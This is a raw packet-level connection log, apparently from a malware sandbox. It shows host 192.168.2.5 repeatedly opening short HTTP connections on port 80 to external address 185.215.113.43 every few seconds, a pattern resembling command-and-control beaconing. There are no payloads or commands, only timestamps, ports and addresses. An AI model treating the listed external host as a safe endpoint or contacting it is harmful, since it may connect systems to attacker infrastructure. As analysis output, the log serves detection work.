Oct 7, 2024 13:33:40.235671997 CEST	80	50197	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:40.235740900 CEST	50197	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:41.744688034 CEST	50197	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:41.744688034 CEST	50198	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:41.749720097 CEST	80	50198	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:41.749762058 CEST	80	50197	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:41.749910116 CEST	50197	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:41.749910116 CEST	50198	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:41.750258923 CEST	50198	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:41.755455971 CEST	80	50198	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:42.481420040 CEST	80	50198	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:42.481544018 CEST	50198	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:44.088810921 CEST	50198	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:44.091418982 CEST	50199	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:44.094347954 CEST	80	50198	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:44.096329927 CEST	80	50199	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:44.096343994 CEST	50198	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:44.099535942 CEST	50199	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:44.102315903 CEST	50199	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:44.107265949 CEST	80	50199	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:44.794718981 CEST	80	50199	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:44.794799089 CEST	50199	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:46.308720112 CEST	50199	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:46.309272051 CEST	50200	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:46.315155983 CEST	80	50199	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:46.315191984 CEST	80	50200	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:46.315212011 CEST	50199	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:46.315352917 CEST	50200	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:46.315473080 CEST	50200	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:46.320741892 CEST	80	50200	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:46.321346045 CEST	50200	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:47.951885939 CEST	50201	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:47.956888914 CEST	80	50201	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:47.957317114 CEST	50201	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:47.957612038 CEST	50201	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:47.962589979 CEST	80	50201	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:48.645771027 CEST	80	50201	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:48.645966053 CEST	50201	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:50.152163982 CEST	50201	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:50.152549982 CEST	50202	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:50.157300949 CEST	80	50201	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:50.157330990 CEST	80	50202	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:50.157366037 CEST	50201	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:50.157424927 CEST	50202	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:50.157684088 CEST	50202	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:50.162589073 CEST	80	50202	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:50.885380030 CEST	80	50202	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:50.885453939 CEST	50202	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:52.511668921 CEST	50202	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:52.512181044 CEST	50203	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:52.516949892 CEST	80	50202	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:52.517009020 CEST	50202	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:52.517045975 CEST	80	50203	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:52.517121077 CEST	50203	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:52.517494917 CEST	50203	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:52.522236109 CEST	80	50203	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:53.236912966 CEST	80	50203	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:53.237490892 CEST	50203	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:54.746046066 CEST	50203	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:54.746547937 CEST	50204	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:54.751338959 CEST	80	50203	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:54.751400948 CEST	50203	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:54.751451969 CEST	80	50204	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:54.751533985 CEST	50204	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:54.751638889 CEST	50204	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:54.756612062 CEST	80	50204	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:55.489655972 CEST	80	50204	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:55.489799976 CEST	50204	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:57.120054960 CEST	50204	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:57.120517969 CEST	50205	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:57.125596046 CEST	80	50204	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:57.125621080 CEST	80	50205	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:57.125653982 CEST	50204	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:57.125714064 CEST	50205	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:57.125849962 CEST	50205	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:57.130652905 CEST	80	50205	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:57.823823929 CEST	80	50205	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:57.823954105 CEST	50205	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:59.338551998 CEST	50205	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:59.338844061 CEST	50206	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:59.345386028 CEST	80	50205	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:59.345401049 CEST	80	50206	185.215.113.43	192.168.2.5
Oct 7, 2024 13:33:59.345474958 CEST	50205	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:59.345576048 CEST	50206	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:59.349446058 CEST	50206	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:33:59.354204893 CEST	80	50206	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:00.050818920 CEST	80	50206	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:00.053729057 CEST	50206	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:01.683168888 CEST	50206	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:01.683172941 CEST	50207	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:01.688558102 CEST	80	50207	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:01.688796997 CEST	80	50206	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:01.688821077 CEST	50207	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:01.689022064 CEST	50207	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:01.689228058 CEST	50206	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:01.693994999 CEST	80	50207	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:02.379467964 CEST	80	50207	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:02.379543066 CEST	50207	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:03.886313915 CEST	50207	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:03.886313915 CEST	50208	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:03.891498089 CEST	80	50208	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:03.891602993 CEST	50208	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:03.891789913 CEST	50208	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:03.891843081 CEST	80	50207	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:03.892055988 CEST	50207	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:03.896645069 CEST	80	50208	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:04.584381104 CEST	80	50208	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:04.584460974 CEST	50208	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:06.214905977 CEST	50208	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:06.215353012 CEST	50209	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:06.221256971 CEST	80	50209	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:06.221324921 CEST	50209	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:06.221585989 CEST	80	50208	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:06.221646070 CEST	50208	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:06.221697092 CEST	50209	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:06.226517916 CEST	80	50209	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:06.930222034 CEST	80	50209	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:06.930294991 CEST	50209	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:08.447926998 CEST	50209	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:08.448393106 CEST	50210	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:08.453218937 CEST	80	50210	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:08.453298092 CEST	50210	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:08.453398943 CEST	80	50209	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:08.453448057 CEST	50209	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:08.453649044 CEST	50210	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:08.458447933 CEST	80	50210	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:09.323162079 CEST	80	50210	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:09.325623989 CEST	50210	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:10.932909966 CEST	50210	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:10.933146000 CEST	50211	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:10.938426971 CEST	80	50210	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:10.938496113 CEST	50210	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:10.938636065 CEST	80	50211	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:10.938709974 CEST	50211	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:10.938889027 CEST	50211	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:10.943902969 CEST	80	50211	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:11.643074036 CEST	80	50211	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:11.643933058 CEST	50211	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:13.151046038 CEST	50211	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:13.151305914 CEST	50212	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:13.476385117 CEST	50211	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:14.163896084 CEST	50211	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:14.165537119 CEST	50212	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:14.227641106 CEST	80	50212	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:14.227684975 CEST	80	50211	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:14.227715015 CEST	80	50211	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:14.227744102 CEST	50212	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:14.227751970 CEST	80	50212	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:14.227785110 CEST	80	50211	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:14.227817059 CEST	50212	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:14.227833033 CEST	50211	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:14.228037119 CEST	50212	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:14.235340118 CEST	80	50212	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:14.945255041 CEST	80	50212	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:14.945326090 CEST	50212	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:16.557995081 CEST	50212	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:16.558342934 CEST	50213	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:16.563158035 CEST	80	50213	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:16.563210011 CEST	80	50212	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:16.563262939 CEST	50212	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:16.563390970 CEST	50213	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:16.563390970 CEST	50213	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:16.568914890 CEST	80	50213	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:17.465646982 CEST	80	50213	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:17.465828896 CEST	50213	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:18.980412960 CEST	50213	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:18.980412960 CEST	50214	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:18.985414982 CEST	80	50214	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:18.985564947 CEST	50214	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:18.985594034 CEST	80	50213	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:18.985682011 CEST	50213	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:18.985682011 CEST	50214	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:18.990725040 CEST	80	50214	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:19.695091009 CEST	80	50214	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:19.695413113 CEST	50214	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:21.323632002 CEST	50215	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:21.323693037 CEST	50214	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:21.328633070 CEST	80	50215	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:21.328911066 CEST	80	50214	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:21.329674959 CEST	50215	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:21.329704046 CEST	50214	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:21.329919100 CEST	50215	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:21.334722996 CEST	80	50215	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:22.041745901 CEST	80	50215	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:22.045769930 CEST	50215	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:23.558407068 CEST	50215	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:23.560625076 CEST	50216	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:23.563745975 CEST	80	50215	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:23.565535069 CEST	80	50216	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:23.569719076 CEST	50215	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:23.569830894 CEST	50216	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:23.569830894 CEST	50216	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:23.574750900 CEST	80	50216	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:24.284024954 CEST	80	50216	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:24.284101009 CEST	50216	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:25.916910887 CEST	50216	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:25.916915894 CEST	50217	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:25.922003031 CEST	80	50217	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:25.922291994 CEST	80	50216	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:25.925699949 CEST	50216	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:25.925704956 CEST	50217	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:25.925853014 CEST	50217	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:25.930664062 CEST	80	50217	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:26.646804094 CEST	80	50217	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:26.646878004 CEST	50217	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:28.151784897 CEST	50218	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:28.151784897 CEST	50217	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:28.156965971 CEST	80	50218	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:28.157197952 CEST	80	50217	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:28.157707930 CEST	50218	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:28.157707930 CEST	50217	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:28.157924891 CEST	50218	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:28.162672043 CEST	80	50218	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:28.875947952 CEST	80	50218	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:28.876020908 CEST	50218	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:30.496814966 CEST	50218	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:30.497333050 CEST	50219	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:30.502087116 CEST	80	50218	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:30.502125978 CEST	80	50219	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:30.502156019 CEST	50218	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:30.502214909 CEST	50219	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:30.502501965 CEST	50219	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:30.507335901 CEST	80	50219	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:31.201991081 CEST	80	50219	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:31.202056885 CEST	50219	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:32.715894938 CEST	50219	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:32.716306925 CEST	50220	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:32.721061945 CEST	80	50219	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:32.721098900 CEST	80	50220	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:32.721117973 CEST	50219	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:32.721178055 CEST	50220	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:32.721422911 CEST	50220	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:32.726238966 CEST	80	50220	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:33.435250998 CEST	80	50220	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:33.436472893 CEST	50220	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:35.057938099 CEST	50220	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:35.058269024 CEST	50221	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:35.063469887 CEST	80	50221	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:35.063556910 CEST	50221	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:35.063621044 CEST	80	50220	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:35.063668013 CEST	50220	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:35.063796043 CEST	50221	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:35.068567038 CEST	80	50221	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:35.812057018 CEST	80	50221	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:35.817828894 CEST	50221	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:37.323364019 CEST	50221	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:37.323364019 CEST	50222	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:37.328589916 CEST	80	50222	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:37.328824043 CEST	80	50221	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:37.329776049 CEST	50221	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:37.329776049 CEST	50222	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:37.329889059 CEST	50222	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:37.334994078 CEST	80	50222	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:38.025371075 CEST	80	50222	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:38.028007030 CEST	50222	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:39.650993109 CEST	50222	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:39.651380062 CEST	50223	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:39.656157970 CEST	80	50222	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:39.656303883 CEST	80	50223	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:39.656405926 CEST	50223	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:39.656404972 CEST	50222	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:39.656557083 CEST	50223	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:39.661350965 CEST	80	50223	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:40.355781078 CEST	80	50223	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:40.355869055 CEST	50223	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:41.870891094 CEST	50223	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:41.871409893 CEST	50224	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:41.876107931 CEST	80	50223	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:41.876234055 CEST	80	50224	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:41.877804995 CEST	50223	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:41.877929926 CEST	50224	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:41.877929926 CEST	50224	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:41.882709980 CEST	80	50224	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:42.580794096 CEST	80	50224	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:42.580862045 CEST	50224	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:44.213763952 CEST	50224	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:44.214091063 CEST	50225	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:44.389256001 CEST	80	50225	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:44.389345884 CEST	50225	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:44.389357090 CEST	80	50224	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:44.389417887 CEST	50224	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:44.389646053 CEST	50225	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:44.394397020 CEST	80	50225	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:45.092917919 CEST	80	50225	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:45.092988014 CEST	50225	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:46.605761051 CEST	50225	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:46.606137037 CEST	50226	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:46.611098051 CEST	80	50225	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:46.611181021 CEST	50225	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:46.611429930 CEST	80	50226	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:46.611506939 CEST	50226	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:46.611726046 CEST	50226	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:46.616669893 CEST	80	50226	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:47.326778889 CEST	80	50226	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:47.329878092 CEST	50226	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:48.948016882 CEST	50226	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:48.948026896 CEST	50227	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:48.953111887 CEST	80	50227	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:48.953217983 CEST	50227	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:48.953375101 CEST	50227	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:48.953422070 CEST	80	50226	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:48.953484058 CEST	50226	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:48.958322048 CEST	80	50227	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:49.655143023 CEST	80	50227	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:49.655731916 CEST	50227	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:51.168916941 CEST	50227	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:51.169265032 CEST	50228	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:51.174267054 CEST	80	50227	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:51.174331903 CEST	80	50228	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:51.174335003 CEST	50227	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:51.174403906 CEST	50228	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:51.174551010 CEST	50228	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:51.179627895 CEST	80	50228	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:51.884984016 CEST	80	50228	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:51.885071039 CEST	50228	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:53.511694908 CEST	50228	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:53.512126923 CEST	50229	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:53.517021894 CEST	80	50228	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:53.517079115 CEST	50228	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:53.517529964 CEST	80	50229	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:53.517597914 CEST	50229	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:53.517967939 CEST	50229	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:53.523192883 CEST	80	50229	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:54.216994047 CEST	80	50229	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:54.217076063 CEST	50229	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:55.728935957 CEST	50229	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:55.729281902 CEST	50230	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:55.830269098 CEST	80	50230	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:55.830365896 CEST	50230	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:55.830518007 CEST	80	50229	185.215.113.43	192.168.2.5
Oct 7, 2024 13:34:55.830578089 CEST	50229	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:55.830724001 CEST	50230	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:34:55.835695028 CEST	80	50230	185.215.113.43	192.168.2.5
